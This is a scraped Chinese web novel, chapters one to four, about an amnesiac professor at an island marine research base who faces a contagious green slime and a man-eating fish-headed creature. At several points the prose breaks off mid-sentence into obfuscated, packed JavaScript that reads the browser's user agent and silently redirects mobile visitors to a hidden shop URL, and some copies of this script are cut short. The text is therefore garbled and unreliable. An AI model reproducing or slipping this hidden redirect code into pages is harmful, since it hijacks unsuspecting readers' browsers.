《养个诡异当老婆》 1. 1点污染值 天空不知道什么时候黑了下来,树影摇晃间,闷雷声一阵又一阵,浪潮裹挟着海风,不断冲击着岩壁。 “阿折,你把我忘掉了吗?” 一声低泣在危先折脑海中乍然响起,他猛然从睡梦中睁开眼睛,目光落到窗外,此时风雨渐起,天色一片昏暗,入目所及是一片婆娑的树影,正沙沙作响。 危先折眉心微微蹙起,他看了眼时间,不到凌晨四点,再躺下也睡不着了,危先折索性起身,戴上无边框的银色眼镜后,走到窗边,把窗户推开。 刚开了窗,风声便瞬间肆虐了起来,将桌面上的书吹得自动翻起了页。放在书上的钢笔也顺着滚落到了地上。 危先折的黑发也被吹得向后,露出了饱满的额头下,那双狭长又凌厉的眼眸。他的眉骨极为优越,眼窝深邃,瞳孔不是传统的棕色或者黑色,而是带着幽暗的灰蓝色,他生了一张清俊冷淡的面容,冷白的肤色,配上那与众不同的瞳色,是一眼便能瞧出的混血。 被冷风一吹,危先折微微冷静下来,他重新关上窗,到桌前弯腰捡起了那支钢笔,自从他车祸醒来后,每天夜里都能听到那道带着控诉的幽咽声,然而不管他如何回忆,都想不出那到底是谁的声音。 他失忆了。 那场车祸极其惨烈,多车连续剧烈碰撞,加上一辆豪车的突然爆炸,直接造成了十余人死亡。事故发生时,危先折在距离豪车不过三米远的地方,能在那样巨大的冲击波下保下一条命,除了失忆外毫发无损,已经算是一个奇迹了。 但是他很确定,当时有人救了他。 他的妻子救了他。 曾经的记忆模糊无比,像是蒙了一层薄薄的雾气,但是随着时间的流逝,像是幻灯片一般,过往的一切都在从他的大脑中逐渐浮现。 距离那场车祸已经整整一年,他恢复得不错,但是关于妻子的记忆却仍旧如雾里看花。 他只记得,妻子温柔、体贴、善解人意,但是胆子很小,在旁人眼中,略微的沉默寡言了些。 夜里的那些声音,会是妻子在控诉吗? -- 危先折毫无睡意地翻着手里的书,他所处的环境是一个海岛,海岛上天气多变,白日里还是艳阳高照,晒得人心浮躁,夜里就下起了这样大的雨。 等夜色逐渐被驱散,雨声也渐渐小了起来。这时有人敲了敲门,危先折将书本合上,起身打开了门。 门外是一个穿着白色实验服的青年,二十来岁,一头天生的羊毛卷短发,见着门内的危先折,他的嘴角扬起一抹笑。 “危教授,您醒了,一起去吃早餐吗?”青年的胸前夹着名牌,上面写着“沈确”两个字,见危先折点了点头,他脸上的笑意愈发浓郁,“那走吧,听说今天食堂有小笼包,晚点就抢不到了。” “稍等。”危先折关上门,等再次出来,手里已经拿了一把黑色长柄雨伞。 沈确眼中笑意浓浓,知道危先折有洁癖,虽然和危先折并排走着,但是他并没有离危先折太近。 然而,即使隔着这样的距离,他也能闻到来自危先折身上那股淡淡的海盐香味,似乎是他洗衣液的味道,留香持久,久到仿佛危先折身上都染上了这个香味。 沈确是SA研究基地的研究员,也是危先折的助手,危先折一年前作为特聘教授来到SA研究基地之后,就是他在负责危先折在基地里的一切事务。 基地面积几乎占据了整个海岛,食堂距离员工宿舍大概五点钟的路程,雨虽然小了,但是还没停,沈确打着伞,隔着雨雾看向旁边的危教授。 SA是一个官方研究基地,主要负责海洋生物、环境、地质等一系列同海洋相关的科研。危教授年纪轻轻,还不到三十就已经是特聘教授了,真是人比人气死人。 沈确在心中“啧”了一声,说起了最近发生的一些趣事,“基地里考察队又发现了一例新物种,是个很漂亮的类章鱼科生物,可惜那个小家伙溜得太快,考察队只拍到了相关的照片,我数数,应该是第61例了吧。” 说着,沈确笑了下:“这几天基地长红光满面的,估计又被上面表扬了。听说昨天下午60号的对比结果出来了,确实是新物种,今天早上基地长要开发布会公布呢。” 危先折对沈确说的这些都没什么兴趣,出于礼貌,在沈确说完后,他轻轻颔首,“嗯。” 沈确撇撇嘴,好在这个时候食堂也到了,他和危先折找了个靠窗的位置,各点了几分餐点,便安静地吃了起来。 “危教授,”一人端着盘子在危先折旁边坐了下来,“这么巧。” 来人约莫四十岁,身形壮硕,手臂和腰腹鼓鼓囊囊,全是久经锻炼的肌肉,他冲危先折笑了笑,眼角露出那太阳花一般的纹路,正是SA研究基地考察队的队长,许晨。 危先折点点头:“巧。” 他的目光落在许晨湿漉漉的发间,问:“你早上出去了?” “害,一大早出海去找61号了,之前只拍了几张照片,我今天特地一个人潜到海里看看能不能碰碰运气,不过我运气显然不错,一下水就碰到了正在捕猎的61号。” 许晨说着就从腰包里取出了相机,“说来也巧,之前只能抓拍,一惊动61号,小家伙就溜走了,这次我对着61号录像,它都没跑,早起的鸟儿有虫吃,古人诚不欺我。” 他一边说,一边打开相机翻找着视频,找到之后递到危先折面前,“看看,是不是很漂亮。” 危先折扭头看去,只一眼,他的表情就顿了顿。 只见录像中,幽暗的海域内,一道小小只、几乎只有巴掌大小的淡蓝色生物,在水中游荡,八只触角软而无骨,轻飘飘地在海水里浮动着,仔细看,那淡蓝色的表面上,还有一圈圈的白色弧形纹路,这些纹路发着微弱的光,衬得小家伙多了几分精致。触手底部是黑色的,心形的吸盘一翕一张,能看到上面带有蓝色的细闪。 ——漂亮的就像是童话中的生物。 而画面里,61号轻飘飘地落到了一只海虾附近,趁海虾没注意到它,八只触手齐齐朝海虾探去,瞬间发力,将海虾的脑袋折了下来。 它进食的速度也很快,触手卷着海虾,吸盘牢牢吸附在上面,它缠绕在海虾上,轻轻转动,海虾便彻底消失不见,只有几截坚硬的外壳顺着海流逐渐飘荡而下。 “的确好看。”危先折语气带着赞叹。 许晨有些得意:“我就知道你会喜欢。” 危先折笑了下。 沈确也笑了下,“许队,待会儿的发布会,给我个门票呗。” 如果说61号是一眼就很看出来的类章鱼科的,生物,那么60号就是颠覆认知的一例新物种。那是沈确从未预想过的物种,和半月斗鱼很像,婚纱一般的鱼尾飘逸漂亮,体型确实半月斗鱼的数百倍,前半截近乎透明,只能看到一颗猩红的心脏在不停跳动。而除了这些外表外,经过研究分析,60号竟然是一种哺乳两栖动物,是的没错,哺乳两栖。它在缺水时,鱼尾会幻化成人类一般的两条腿,用一个夸张一点的词代替就是——鱼头人身。而由于60号前半截透明,这导致60号躺在研究室内的时候,像是只有人类下半身的尸体一般。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588537|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 惊悚,恐怖。 颠覆认知。 沈确对60号非常感兴趣。 或者说,这个SA研究基地,没有人不会对60号感兴趣。 沈确轻轻挑了挑眉,看向危先折,不,或许,还真的有人对60号不感兴趣。 -- SA研究基地很少开发布会。以往发现的50多例新物种,都是以论文的形式公布,最多联系媒体宣传一下。 如今难得开一场发布会,整个SA研究基地一改往日的冷淡风格,也热闹了起来。 十几家官方媒体坐在观众席位上,除了记者外,周遭还有无数扛着设备的摄像老师,基地长五十多快退休的年纪了,他坐在主席台前,红光满面。 谁能想到,在他退休前还能有这样一个轰动的发现。 他拍了拍话筒,几句客套话之后,便直接向大家展示成果:“我们还没有给60号命名,但是我相信,60号的出现,会成为生物学界的巨大地震。” 基地长背后的大屏出现60号的身影。 一位记者睁大眼睛,下意识开口:“妈呀,鱼头人身。” 基地长友善地笑了下,介绍道:“这位记者总结得不错,就是鱼头人身。60号在极度缺水的状态下,鱼尾就会变成双腿。” 他指着屏幕,“这双腿,和一个成年男子的骨骼、肌肉、血管脉络,几乎没有任何差别。唯一不同的是,它的皮肤和婴儿差不多。” 基地长还开了个玩笑,“相信在座的各位都看过美人鱼的故事吧,如果不是亲眼所见,我也很难以置信,60号鱼尾的变化,就像是一场魔术,我们计过时,最长不超过30分钟,鱼尾就能完全改变形态。” 听着基地长热切地介绍,沈确和其他人一样鼓了鼓掌,但是下一刻,他目光一凝,刚刚是他看错了吗,他怎么感觉基地长的脸皮突然鼓起了几个包。 沈确眯起眼睛看过去,却发现那几个包又消失了。他心中暗暗升起疑虑,但又很快压下。 “可能真的是看错了……”沈确喃喃,“总不能是基地长被寄生了吧。” 然而刚这样想,沈确却见到基地长的表情突然扭曲起来,他下意识起身往后退了几步,只见下一刻,基地长面露痛苦,“好痒好痒好痒……”他伸手抓着自己的脸皮,连血都抓出来了都没感觉。 “基地长?” “怎么回事?” “发生什么了?” 众人窃窃私语,沈确心中却突然升起一股不详的预感,他又退后了几步,直到退到门口。 因为一直注意着基地长的动静,他没有注意脚下有个门槛,在下一次后退的时候,直接被门槛绊倒往后跌去。 一只手牢牢稳抓住他的胳膊,手背脉络分明,手指瘦削修长。他睁大眼睛,映入眼帘的是一张清俊冷淡的面容,是危先折。 沈确的声音有些颤抖,“基地长好像出事了。” 危先折顺着沈确的目光往主席台看,却见基地长的脸皮突然鼓起了好几个包,里面像是有寄生虫一般,在基地长的脸上疯狂蠕动。 就在危先折思索会是哪种寄生虫的时候,基地长的脸皮突然炸开,里面绿色的脓液以基地长为中点,向四周迸射开来。 一大片炸到了离他最近的记者头上。记者的瞳孔猛地一缩,他下意识尖叫一声。 这声尖叫就像是一个开关,全场也瞬间尖叫了起来,大家来不及想到底发生了什么,只对这恐怖又恶心的一幕感到极为不适,疯狂地往外冲。 危先折第一时间反应过来,“跑!” 2. 2点污染值 ——没人知道发生了什么。 大家心中充斥着异样的恐慌,画面定格在众人惊恐的这一刻,危先折回头看了一眼,却见基地长正摇摇晃晃地站起身,他伸手摸了摸自己的脸,却粘了一手的黏液。 “啊!”尖叫一声,基地长倒地,他什么也瞧不见,只能在地上疯狂摸索。 即便已经失去了五官,依旧能让大家感受到他的惊慌失措。 那绿色的黏液仿佛有生命一般,顺着基地长无头苍蝇般乱窜的动作,四处飞溅,并且在不断地增值繁衍。只这么一会儿,整个主席台已经被绿色占据。 危先折收回目光,眼角的余光却落在了会场的那些记者身上。 这些记者距离基地长最近,如果这绿色黏液会传染,他们很有可能已经感染上了。 危先折目光一沉,对一直紧跟着他的沈确叮嘱道:“回实验室,那里环境密闭,还有条件进行消杀。” 沈确连忙点点头,他在看到基地长脸皮炸开的时候脸色就已经苍白到底,后来在发现基地长身上的黏液四处飞溅的时候,更是心态爆炸。 他们主攻海洋生物这一块,见过的古怪的东西不计其数,可是刚刚那一幕实在太过惊悚,像是一瞬间来到了惊悚的电影情节,特别是他们和基地长朝夕相处,熟悉的人在一瞬间变成那副模样,实在是难以接受。 沈确在逃离的间隙,忍不住摸了摸自己的脸,不知道是不是他的错觉,他觉得自己的脸都有点痒,好像有什么东西在里面蠕动。 消杀…… 对,抓紧时间消杀。 虽然当时他已经跑到了门口,可谁知道那种黏液会不会空气传播,沈确心中一阵恶寒,步子愈发快了起来。 “滴”的一声,实验室的门从里面锁上,沈确背靠着门大口喘气,他又摸了摸自己的脸,下意识问危先折:“危博士,我脸好痒,会不会是感染了啊……” 危先折第一时间用消毒液洗了手,他有很严重的洁癖,能忍到现在实属不易。听到沈确的声音,危先折回头看了一眼,灰蓝的瞳眸带着几分天然的淡漠,他微微眯起眼睛,目光落到了沈确的脸上。 下一刻又淡淡移开。 那意味不明的打量让沈确下意识抖了抖,又很快舒出一口气,他毫不怀疑,如果他的脸上真的有那流动的脓包,危先折一定会第一时间把他赶出实验室。 幸好幸好,沈确吐出一口气,幸好是错觉。 他找了个洗手池开始洗手,又不停地往身上喷着致死量的酒精,直到累了,才找了个椅子坐了下去。椅子下面带着滑轮,沈确伸腿一蹬,就移到了危先折面前。 危先折已经换上了一件白色实验服,他站在操作台前,手上的乳胶手套衬得那只手愈发修长,他戴着护目镜,手里的酒精浇在铁桶内,沈确看了一眼,里面是危先折刚刚换下来的外套。 沈确“哎”了一声,“等等,把我的也烧了。”他二话不说把外套脱了下来,即便他已经喷了很多酒精,可保险起见,还是烧了吧。 火柴扔进铁桶的瞬间,火焰瞬间燃起,很快里面的衣服就烧成了灰烬。 沈确看着火渐渐熄灭,忍不住低声道:“刚刚到底发生了什么,会传染吗?” “不知道。”危先折答得很快,他确实不知道,刚刚那一幕实在太过匪夷所思,只是现在连鱼头人身的新物种都出现了,再出现某种不知名的真菌或者病毒,或许并不意外。 沈确的表情低落下来。 危先折看了他一眼,表情依旧淡淡的,他摘下护目镜,表情落在实验室的门外。 实验室的门是半透明的,他们能看到走廊里不停奔走的研究员们,能进SA研究基地的都不是蠢人,意外发生后,为了防止事态进一步恶化,研究员们都各自回到了实验室和宿舍,尽最大程度先保护好自己。 发布会是现场直播,会上发生的事情早就传了出去,他们现在要做的就是等。 不管那绿色的黏液是否具有传染性,还是基地长是否能活下去。 都要等。 危先折拆开一瓶纯净水,仰着头喝了一口,喉结上下滚动,他盖上盖子,目光重新落到门外。 门口已经渐渐安静下来,雪白的灯光撒在墙面上,明亮却森冷。 -- 救援来得很快。 在看到穿着隔离服戴着隔离帽的一群人出现后,沈确第一时间喊了危先折:“危教授,你看那里!” 危先折抬眼,下一刻直接站起身,他将手里的水瓶丢进垃圾桶,对沈确道:“戴好口罩。” 这些人将自己武装得从头到脚,可见那绿色的黏液或许真的有传染性。 当然,也可能是他们小心谨慎。 不过即便有万分之一的可能,危先折也不愿意去冒这个风险。 实验室里自然是有隔离服的,只是又闷又热,大家也难得接触到污染性物质,许多件都放在衣帽间里吃灰。 穿上隔离服的危先折身形壮硕了许多,沈确看了一眼,偷偷笑了一下。很快两个人全副武装地打开实验室的门走了出去。 正好有两名救援人员朝他们的方向走来,他们戴着面罩看不清表情,一人语气严肃道:“刚刚发生的事情想必你们也知道了,不排除有传染的可能性,我们已经准备好了隔离方舱,给你们半个小时的时间去收拾个人物品,半个小时后统一护送你们到方舱。” 听到这句话,沈确表情难看了几分,他看向危先折,“教授……” “听他们的。”危先折朝二人轻轻颔首,转头对沈确道,“先回去收拾东西。” 等沈确离开,危先折的眼神才暗了下来。这个SA研究基地差不多有一千多个人,这么短的时间内就备好了隔离方舱……隔离、方舱,他表情沉了沉,事发突然,可还准备得这么迅速,看样子,传染的可能性起码有百分之八十。 一路往宿舍走去,正好要经过刚刚发布会的现场,里面火光满天,浓烟滚滚,危先折停下脚步,目光落到已经蔓延到门口的绿色痕迹上。 门外已经拉了一条长长的警戒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然而就在车辆即将启动的时候,整个海岛上突然漫上了一层浓浓的雾气。雾气散得很快,在众人还没有反应过来的时候,大巴车就已经完全被雾气笼罩。 驾驶员打开远光灯和雾灯,开了雨刮,眼前却依旧模糊不清,他嘟囔一句,打开手机往群里发语音:“这么大的雾,什么也看不清啊,还要出发吗?” 群里消息不断,驾驶员的语音是外放的,因此大家能够清清楚楚地听到群里的消息。 “等一会儿吧,这么大的雾,我们还是在岛上,等下别开海里去。” “这个雾是古怪的,我四十来岁了,从来没见过这么浓的雾。” “岛上可能雾是要大一点的,可能海面上飘过来的。” 群里的驾驶员们你一言我一语的,逐渐从雾聊到了海,又说起了曾经的几次海上旅行,大家听着驾驶员们的大嗓门,被困在大巴上的焦灼逐渐驱散了些。 危先折坐在靠窗的一侧,他的手肘支在车窗窗框上,手背和手指抵着下巴,他眉眼低敛,眸光轻垂。 驾驶员们说错了,有些的海雾能见度确实低,可是低到现在这样能见度半米都没有的,闻所未闻。 3. 3点污染值 海雾愈发大了。 随着时间一分一秒地流逝,乘客们有些坐不住,驾驶员们的表情也凝重起来。 “师傅,如果雾一直不散的话,我们岂不是要一直待在车子上?万一有人已经被感染了怎么办,车子是封闭的,要是有一个人感染,整车的人岂不是都有危险?”一人站起来,他先前坐在大巴中间的位置上,冲驾驶室大声喊道。 驾驶员也不知道怎么回答,他看了眼手机,没有人说话了。他心里也有些烦躁,和这些人比起来,他才更应该担心被感染,只是上面没有通知,他总不能贸然开车,或者打开车门让大家下去。 雾这么大,伸手不见五指,要是发生意外了怎么办? 驾驶员想着,把手机放进胸前的口袋里,粗声道:“急什么,有什么消息上面会通知的。” “那也总不能让我们一直在车上等着。”这人反驳,“现在都过去差不多一个小时了,我现在倒是坐得住,要是雾一直不散,我们吃喝拉撒怎么办?” 驾驶员表情沉了下去:“嚷嚷什么,真到那时候,上面自然会通知放大家下车。” 这人表情有些难看,可见驾驶员不为所动,他从鼻腔中喷出一声呵,嘟囔一句“神气什么”,才重新坐了下去。 这时驾驶员重新拿起手机,正好有人发了条消息,他点开,依旧是话筒外放,只是声音放出来的第一时间,整个大巴瞬间鸦雀无声。 ——“有怪物!救命!!救救我!!!啊!!!!” 清脆的“咔擦”一声后,呼救声戛然而止。渐渐的,出现了一道咀嚼声,像是在啃食着什么,听起来令人毛骨悚然。 整个大巴上,安静的仿佛连一根针掉在地上的声音都能清楚听到。驾驶员的脸色已经白如墙色,他抖着手,手机都差点砸到了地上。 “什、什么声音啊,你们听到了吗,刚刚是不是在喊救命?”驾驶员以为自己是幻听了,他不死心地又点开了那道语音。 可还没听完,他们所在的大巴车突然开始猛烈晃动。 “啊!”车上一人指着车头,“那是什么!” 大家听到声音,往车头看去,很快,众人脸上的惊恐毫不掩饰,他们瞪大眼睛,呼吸在这样巨大的惊吓中都仿佛暂停了。 “那是什么……” 众人难以置信地看着车头上那遍布的绿色黏液,以及,牢牢吸附在黏液上的巨大鱼头。从他们的角度看去,鱼头上那颗硕大如灯笼的眼睛,正死死的盯着车内。 “是那个鱼人!”沈确猛地开口,“基地长介绍的第60号新物种,鱼头人身的鱼人!” 鱼人! 车上的研究员们表情瞬间凝重了起来,他们互相对视一眼,想到了先前基地长身上发生的那惨烈的一幕。 如今他们还有什么想不明白的,这种绿色黏液根本就是来自鱼人!昨天晚上基地长正好去见过鱼人,他脸上的黏液是被鱼人传染的! 而现在—— 大巴不停地晃动,靠近车头的几人纷纷站了起来往车后半部分走来,那巨大的鱼头实在太过令人恐惧,离得近的仿佛都能闻到鱼人身上的那股腥味。 随着大家的走动,大巴晃动地愈发厉害了。 沈确忍不住看下危先折:“教授,现在怎么办?” 在听到驾驶员手机里语音的时候,危先折的表情就异样凝重,现在事态早就超出了他的预期,这已经不是一场普通的传染。听到沈确的声音,危先折低声道:“先冷静下来。” 如果他没猜错的话,之前听到的咔擦声,是车架断裂的声音,后来的咀嚼声,很有可能是鱼人在啃食发送语音的那位驾驶员。 整个小岛上有一千多个人,一辆大巴车坐五十几人,岛上就停有二十辆大巴,鱼人很有可能是掀翻大巴车,然后折断大巴车的车架,或者直接撞碎大巴车的挡风玻璃,直接进到车厢里大开杀戒。 而现在,鱼人已经盯上了他们的这一辆大巴,他们不会是第一个,也不会是最后一个。 这是来自鱼人的屠杀。 危先折的胸前背着一个黑色的背包,他的行李箱在上车的时候就放到了大巴车侧面的空间里,如今他的背包里只有准备的手机充电器,笔记本和笔,一个水杯,以及消毒酒精、口罩和一次性手套。 满打满算,唯一有用的,就是那瓶120ml的消毒酒精。 他看向沈确:“你手里有防身工具吗?” 沈确张了张嘴巴,又闭上,他摇摇头,谁能想到会发生这种事情,他有些懊恼,早知道把桌子上的水果刀拿来了。 危先折本来就不对沈确报太大希望,闻言只是轻轻颔首,“如果鱼人冲进车厢,直接跳车,往车的右方跑,一百米后左拐,是条栈道,从栈道再往前五十米,十点钟方向有一条水泥路,一直往前走,实验室在大概三百米左右的位置,进去之后把铁闸拉下,鱼人应该冲破不了铁闸,到时候再另外找救援。” 沈确说了声好,所有人都站了起来,大家挤在车厢后半部分,人挤人,可不得不承认的是,和危先折站在一起,十分的有安全感。 他看了危先折一眼,危先折很高,有一米九左右,即使身上穿着隔离衣,在这群人之间也是鹤立鸡群的存在。 沈确又往危先折身边靠了靠,心里把危先折刚刚说的那几句话重复来重复去,生怕记错,到时候在海雾中迷失方向。 他们从来没有见过这么浓密的雾,这场雾很有可能也是鱼人带来的。 这时鱼人已经在疯狂地拍打着大巴的前挡风玻璃,它的力度很大,没多久,挡风玻璃上就出现了一片蜘蛛网似的裂纹。 车上的人看着那道裂纹,心直接提到了嗓子眼,然而鱼人的智商好像并不高,在发现车窗进不去后,它又再一次开始尝试掀翻大巴。 “啪!”“啪!”“啪!”是鱼头撞击车身的巨大声响。 突然间,大巴猛地震荡,大家几乎站不稳,每个人都紧紧地抓着座椅,生怕一不小心就摔出去。 危先折突然开口:“回到座位上,系好安全带。” 他戴着面罩,可他附近的人在听到那熟悉的声音后,都毫不犹豫的按他的指令做,沈确的动作更是飞快,他跟在危先折身边一年多了,几乎在危先折这句话刚说出口的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588539|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,就明白了他的意思。 车快翻倒了,要是不系安全带,很有可能在车辆翻倒的瞬间,他们就被甩飞撞到车厢上,到时候受伤还是小事,要是昏迷了,他们可就真的变成了鱼人的自助餐。 当然,有可能在车辆翻倒的时候,安全带坏了,他们被困在座位上,同样也会成为鱼人的腹中之物,不过相比这种百分之一的可能性,他还是选择无条件听从危先折的判断。 “轰”得一声。 果然,就在他们坐回座椅上并且系好安全带的那一瞬间,鱼人突然发力,狠狠的撞击在车架上,整个大巴直接往左边倾倒。 靠左窗的那一排狠狠地砸在地上,天旋地转,车上所有人的眼前都一阵阵发黑。 危先折第一时间清醒过来,他解开安全带,拍了拍沈确的肩膀,沈确也马上反应过来,他立马解开安全带,心中默念着“跳车往车的右方跑”。 然而几秒的反应时间内,鱼人已经大摇大摆地跨进了车厢。在巨大的震动下,大巴车的前挡风玻璃已经彻底碎裂,鱼人毫无阻碍地奔向了车后方的乘客。 鱼人的长相比先前基地长介绍的还要诡异。过于缺水,鱼皮都泛着白,鱼人没有双手,它的两侧长着透明的鱼鳍,鱼鳍仍然在轻轻扇动着,而那鱼身和人腿衔接的位置,又是诡艳的红,红中又透着黑,像是血液凝固后显现的淤青一般。类人的双腿肌肉鼓胀,它的步伐轻快,双腿走路的姿势和人类别无一二。 大家的瞳孔紧缩,原本已经吓得全身无力了,然而在巨大的恐慌下,竟然直接激发了身体最大的潜能,他们飞快地解开安全带,又重新往车后跑。 “快!”危先折推了沈确一把,沈确扒着车窗就往外翻,其他人也有样学样,纷纷跳车。 鱼人见食物逃走,它愤怒地发出一声尖锐的巨响。那不是任何一种生物能发出的声音,像是即将突破高分贝,但是又恰好在人类能听到的分贝范围内,无法用任何语言形容。 在听到这道声音的时候,沈确正好翻出车外,他回头看,在雾气中,却什么也看不见,他不知道其他人在哪里,也失去了危先折的踪迹。 沈确咬了咬牙,心中默念着危先折刚刚说的话,蒙头冲了出去。 而此时,正在翻窗的危先折的额头突然冒出一层冷汗。刚刚那道尖锐的声音像是直接击穿了他的耳膜,他的眼前突然闪现几个画面,可还没等他仔细看,这些画面又突然消失。 随之而来的,是从危先折大脑深处传来的刺痛。他眼前一黑,差点栽倒在地上。好在翻出车窗的最后一刻他强忍着痛意,稳稳落地。 一离开车厢,眼前就是一片朦胧的雾,危先折感觉自己的大脑里好像有一把尖刀在飞速地旋转,传来的强烈痛感,让他仿佛置身云霄飞车,天旋地转的,眼前几乎漆黑一片。 他艰难地睁开眼睛,耳边是鱼人持续不断的怒吼声。 就在这个时候,眼睁睁地看着所有食物都逃离,鱼人的怒火直接冲破了整辆大巴,它在车厢内疯狂破坏、撞击、踩踏,直到发现了车外的漏网之鱼。 鱼人澄亮的眼珠缓缓落到危先折身上。 4. 4点污染值 雾气在不知不觉间将危先折整个人圈住,他的意识在逐渐恢复,可是眼前却灰蒙蒙一片,伸手不见五指。 先前翻出车窗后,他的掌心撑在地面上,被沙砾磨得生疼,应该是破皮了,危先折的表情淡淡的,如今什么也看不见,就只能依靠听觉和触感。 空气中蔓延着诡异的安静,鱼人的怒吼声不知道什么时候消失了,危先折伸手,摸到了旁边属于轮胎的粗糙质感。 大脑将整个SA研究基地的地图展开,可当危先折正准备按照计划路线逃离时,耳边突然传来一道呼吸声。 离他很近。 近到危先折能闻到一股淡淡的腥味。 似乎只要他稍微有点动静,对方就同样能够察觉到他的存在。 危先折下意识屏住了呼吸。 每个人求生的欲望都极为强烈,即使穿着厚重的隔离服,大家也都顺利地翻出了车窗。如果没有意外的话,现在应该都在去往实验室的路上了。 既然这样,这道呼吸声是谁的? 危先折站在原地,一动不动,眉眼低敛着,那双灰蓝的眼瞳波澜不惊。 对方的耐性明显不足,它的呼吸声又重了几分,盯着自己的猎物,鱼鳍无意识地扇动着,很快,它抬脚朝危先折走去。 食物食物食物…… 鱼人缓缓张开嘴,露出里面尖锐的两排细密的锯齿状的牙,仔细看,能看到牙缝中间挂着的猩红的肉丝。 腥味愈发浓了。 浓烈到闻到这股味道的危先折胃中都忍不住一阵翻涌。 他的手缓缓握拳,指甲深深地陷入了掌心,身上的背包并没有丢,危先折动作很轻,他从里面拿出那瓶消毒酒精,拇指在喷头上轻轻摩挲着,找到喷口后,他看向前方。 鱼人愈发靠近了,浓密的雾气对它的视觉并不会造成任何影响,只是它享受抓到猎物玩弄的快感,见眼前的猎物一副毫无察觉的模样,鱼人愈发兴奋。 危先折微微歪头,听着前面的动静。 鱼人的嘴里分泌着细密的泡沫,因为缺水,它身上的皮肤泛着白色的卷边,像是蜕皮一般,它的鱼鳍扇动得愈发快了,在距离危先折差不多一米的位置,鱼人停下脚步,它的嘴巴张得更大了,只要它想,就可以在瞬间咬下猎物的脑袋。 可就在它刚要动作的时候,眼前突然喷来一股刺鼻的液体。 鱼人下意识躲避,液体喷洒在它卷边的皮肤上,带来细密的刺痛感。 它倏地尖叫起来。 危先折毫不犹豫转身就跑。 鱼人的速度很快,他距离实验室又太远,要是路上发生什么意外,他很有可能被鱼人追上。 生死关头,危先折的大脑飞快转动。 这一年来,SA研究基地的各个路线已经牢牢印在了他的大脑里,鱼人在陆地上会分化出双腿,可它有一个很大的缺陷——没有手。 它的鱼鳍并没有分化成双手。 危先折想到了灯塔。 海岛上有一座巨大的灯塔,只有一扇门能进到灯塔内部,建造灯塔时,用料也并不比实验室的敷衍,起码能躲过鱼人的撞击。 灯塔内部是一圈旋转而上的楼梯,楼梯通向二楼的平台,鱼人没有双手,它不能从灯塔的外部攀爬而上。 这样想着,危先折毫不犹豫地换了个方向。 灯塔靠近海边,湿气充足,若是能让鱼人的双腿重新变换成鱼尾,失去在陆地上行走的条件更好,若是不能,灯塔将会是他最后的选择。 鱼人出奇的愤怒。 明明还有其他的大巴停在原地,散发着迷人的食物的香味,可是它如今却只想抓住这只逃走的猎物,一口咬断猎物的脊梁。 见危先折跑走,它迈开双腿,也飞快地跟了上去。 鱼人的学习能力很强,它原先并不会走路,可是看着那些研究员们的动作,它渐渐地也学会了走路。 如今看着危先折奔跑的动作,鱼人的鱼鳍也前后摆动着,双腿奔跑的姿势在不知不觉间和危先折的变得一模一样。 危先折没有回头看,可是身后那持续不断的脚步声告诉他,鱼人正紧紧地跟着他。 灯塔距离先前大巴的位置并不远,即使什么也看不见,危先折的大脑中也自动出现了灯塔的画面。 他凭借着自己出色的记忆力,迈上台阶,一步一步,直到触摸到灯塔的小门。 直到这一刻,危先折紧绷的神经才渐渐放松了些许。然而很快,他的脸色微微一变,鱼人的脚步声消失了。 一股强烈的刺激感让危先折头皮发麻,那是面对未知恐怖的本能,可即便这样,危先折的动作依旧极为迅速,他摸到了把手,在转开门把的第一时间,飞快闪身钻了进去,又重重将门关上。 “砰”的一声。 是门关上的声音,也是鱼人猛地撞击在铁门上的声音。 危先折把门反锁好,步子飞快地跑上二楼平台。二楼有一个观景台,四周用铁栏杆圈住,危先折往下看,雾气弥漫,什么也看不清,但是鱼人疯狂撞击铁门的声音却清清楚楚。 “砰!”“砰!”“砰!” 鱼人的身上渗出了血液,可它仿佛没感觉到似的,血液很快滑落到腰间,又渐渐凝固成深红的血块。 危先折没有下去,他缓缓吐出一口气。刚刚凶险的一幕在他大脑中反复上演,他微微眯起眼睛。 鱼人在模仿他,先前有一段时间,鱼人的脚步声和他的重合在了一起。 “这样的模仿力……”危先折声音低低,他握住栏杆,下一刻,松开手,靠在了墙壁上。 他该庆幸,鱼人模仿他的步伐,所以一直保持在他身后不远的距离,若鱼人聪明一点,加快脚步,或许还能追上他。 怪物。 危先折心中默念着这两个字。 没有人会想到,SA研究基地发现的第60例新物种,竟然是一个吃人的,还具有恐怖传染力的怪物。 灯塔的防御力很强,但是在鱼人这样猛烈的撞击下,不知道还能坚持多久。危先折没有坐以待毙,他重新回到楼下,灯塔里摆放了很多纸箱,里面是各种各样乱七八糟的杂物。 他听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 